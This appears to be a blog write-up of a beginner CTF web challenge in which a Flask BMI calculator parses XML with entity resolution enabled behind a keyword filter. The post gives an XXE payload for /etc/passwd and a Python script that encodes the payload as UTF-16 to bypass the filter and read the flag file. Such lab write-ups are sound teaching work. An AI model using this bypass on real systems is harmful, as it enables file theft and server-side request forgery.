Post

Meters Flag Flagyard Challenge Writeup

A writeup for the Flagyard CTF web challenge titled Meters Flag.

Meters Flag Flagyard Challenge Writeup

Introduction

This is another easy Flagyard challenge titled Meters Flag. It is pretty straightforward and about exploiting an XXE vulnerability.

Recon

We are provided with the Flask source code and the application. First, let’s start with a black-box investigation and fill in the missing pieces using the provided code.

Black Box Investigation

We are provided with the following form to calculate a person’s BMI by entering their weight and height.

Form

If we intercept the traffic using Burp Suite, we realize that the data is being sent in XML, which is interesting, and we can think about a potential XXE vulnerability.

1
2
3
4
<data>
    <weight>75</weight>
    <height>175</height>
</data>

Code Source Investigation

When checking the source code, it is a Flask application, and the interesting part is the XML handling.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route('/', methods=['POST'])
def calculate_bmi():
    xml_data = request.data
    
    if b"<!DOCTYPE" in xml_data or b"+ADwAIQ-ENTITY" in xml_data:
        return "I'm watching you *-*"
    
    try:
        parser = etree.XMLParser(resolve_entities=True)
        doc = etree.fromstring(xml_data, parser)
        weight = doc.xpath('//weight/text()')[0]
        height = doc.xpath('//height/text()')[0]

        bmi = calculate_bmi(weight, height)
        bmi_category = get_bmi_category(bmi)

        xml_response = f"<response><height>{height}</height><weight>{weight}</weight><result>BMI: {bmi:.2f} ({bmi_category})</result></response>"

        return xml_response, {'Content-Type': 'application/xml'}

    except etree.XMLSyntaxError as e:
        return 'Invalid XML data', 400

So it has some sort of WAF that checks whether <!DOCTYPE, which is UTF-8 encoding, exists within the sent XML, or whether +ADwAIQ-ENTITY, which is UTF-7 encoding, also exists in the XML.

Vuln Discovery and Analysis

The defense mechanisms against XXE attacks only check for UTF-8 and UTF-7, so other encodings can bypass this condition. For example, using UTF-16 can bypass it.

XML External Entities (XXE) is a technique for exploiting XML to read external resources or files from the system by using the DTD to define a variable that contains the information we want to disclose.

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">] >

<ProductID> &xxe; </ProductID>

Here, we are defining an entity (I call it a variable; no police are here), and you can call it using &xxe; so it resolves the content of the file you are pointing to, which, in our case, is /etc/passwd.

There is more to this vulnerability besides obfuscation techniques; one of them is what we will see in this writeup. However, you need to keep a few things in mind:

  • DTD is used to define the entity, and it starts with <!DOCTYPE>.
  • The SYSTEM keyword within the entity is used to specify which resource we want to fetch data from. In our case, it is a server local file named /etc/passwd. It is also possible to fetch from other resources and websites, which makes this an SSRF attack vector.

Exploitation and Payload

So, basically, we will be using XXE to get the flag within app/flag.txt, but with UTF-16 encoding. Either we can use Burp Suite’s hackvector or write a custom Python script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

xml = (
    '<?xml version="1.0" encoding="UTF-16"?>'
    '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///app/flag.txt">]>'
    '<data><weight>&xxe;</weight><height>100</height></data>'
)

# .encode('utf-16') automatically prepends the BOM (FF FE)
xml_bytes = xml.encode('utf-16')

r = requests.post(
    "http://k469f5dd54a4520741794a4df8a0664ea.playat.flagyard.com/",
    data=xml_bytes,
    headers={"Content-Type": "application/xml"}
)

print(r.text)

We send the request, and since the weight is returned to us in the response, we will get the flag as follows.

1
2
3
4
5
<response>
    <height>100</height>
    <weight>FlagY{GetYourOwn}
    </weight><result>BMI: 0.00 (Underweight)</result>
</response>

Conclusion

That was a nice challenge and a great introduction to XXE for beginners.

This post is licensed under CC BY 4.0 by the author.